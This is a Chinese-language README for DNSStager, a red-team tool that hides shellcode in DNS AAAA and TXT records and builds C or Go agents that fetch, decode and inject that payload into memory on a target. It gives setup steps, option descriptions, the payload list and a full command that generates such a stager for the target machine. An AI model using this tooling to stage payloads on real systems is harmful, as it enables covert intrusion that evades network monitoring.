DNSStager是一个基于Python的开源项目,用于使用DNS隐藏和传输你的载荷。
DNSStager将创建一个恶意的DNS服务器,处理针对你域名的DNS请求,并将你的载荷作为特定记录请求(如 AAAA 或 TXT 记录)的响应返回,在将其分块并使用不同算法编码后。
DNSStager可以生成用 C 或 GoLang 编写的自定义代理,该代理将解析一系列域名,检索载荷,解码载荷,并最终根据你选择的任何技术将其注入内存。
你可以随意编辑DNSStager代理的代码,并使用你自己的自定义执行技术进行构建。
使用DNSStager的主要目的是帮助红队/渗透测试人员通过DNS以隐蔽的信道传递其载荷。
根据你的DNS解析选项,DNSStager会将你的载荷拆分成块,并将每个载荷块保存为子域的响应。
例如,如果你选择 IPV6 作为检索载荷的选项,DNS响应将类似于:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
其中 5648:31d2:6548:8b52:6048:8b52:1848:8b52 是你载荷的一部分。
因此,代理将解析一些域名以检索载荷,然后解码载荷并最终将其注入内存。
目前,DNSStager仅支持两种记录:AAAA 和 TXT。你可以对 AAAA 记录使用XOR编码载荷,如果选择 TXT 记录,则默认将载荷编码为base64。
DNSStager具有一些关键特性,例如:
IPV6 记录中隐藏和解析你的载荷。TXT 记录中隐藏和解析你的载荷。C 编写的代理,可自定义。GoLang 编写的代理,可自定义。你可以通过以下命令安装DNSStager的Python要求:
pip3 install -r requirements.txt
你需要安装 GoLang 版本 1.16.3,并确保安装以下 GoLang 包:
另外,确保通过以下命令安装 ming-w64:
apt install mingw-w64
脚本 setup.sh 应该为你自动完成这些操作,但使用前请仔细检查要求!
要获取最新版本的DNSStager,请使用以下命令从此仓库克隆:
git clone https://github.com/mhaskar/DNSStager
然后,你需要使用以下命令安装要求:
pip3 install -r requirements.txt
同时确保也已安装前面提到的所有要求。
完成上述操作后,你就可以 以root身份 执行DNSStager,以获得以下输出:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
要开始使用DNSStager,请先设置你的DNS设置,你需要将你的域名以 NS记录 的形式指向DNSStager实例,以便处理对你域名的所有DNS请求。
你可以阅读这篇完整文章了解如何设置和使用DNSStager。
你也可以使用 -h 参数查看选项,如下所示:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain:你可以使用此选项选择将用于处理DNS请求的主域名。
--prefix:用于子域架构的前缀。例如,如果你的主域名是 fakedns.live,你可以将前缀指定为 "cdn",那么生成的域名将呈现如下模式:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.live其中 N 是自动生成的数字,代表你载荷的块数。
--payload:你希望根据技术、编程语言和架构生成的DNSStager载荷“代理”。
--output:保存DNSStager可执行载荷“代理”的输出路径。
--shellcode_path:你的 raw/bin shellcode文件路径。
--xorkey:用于编码载荷的XOR密钥。
--sleep:用于在每次DNS请求之间休眠N秒。
--tcp:通过TCP协议启动并使用DNS服务器。
要查看可用的DNSStager载荷,你可以使用 ./dnsstager.py --payloads,获得以下结果:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
此示例将启动DNSStager,使用域名 test.mydnsserver.live 并以 cloud-srv- 为前缀,将你的载荷解析为 IPV6,生成编译后的 x64 C 代理,并使用密钥0x10进行编码:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
输出为:

要检查一切是否正常,我们可以向 cloud-srv-0.test.mydnsserver.live 发送DNS查询,获得以下结果:

我们可以看到我们收到了 f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b 作为响应,这是我们编码载荷的前16个字节。
然后你可以在目标机器上执行代理 /tmp/a2.exe(如命令行中通过 --output 设置的那样),它将会下载所有必要的块,解码它们,并为你将它们注入内存。
本项目采用GPL-3.0许可证 - 详情请参见LICENSE文件。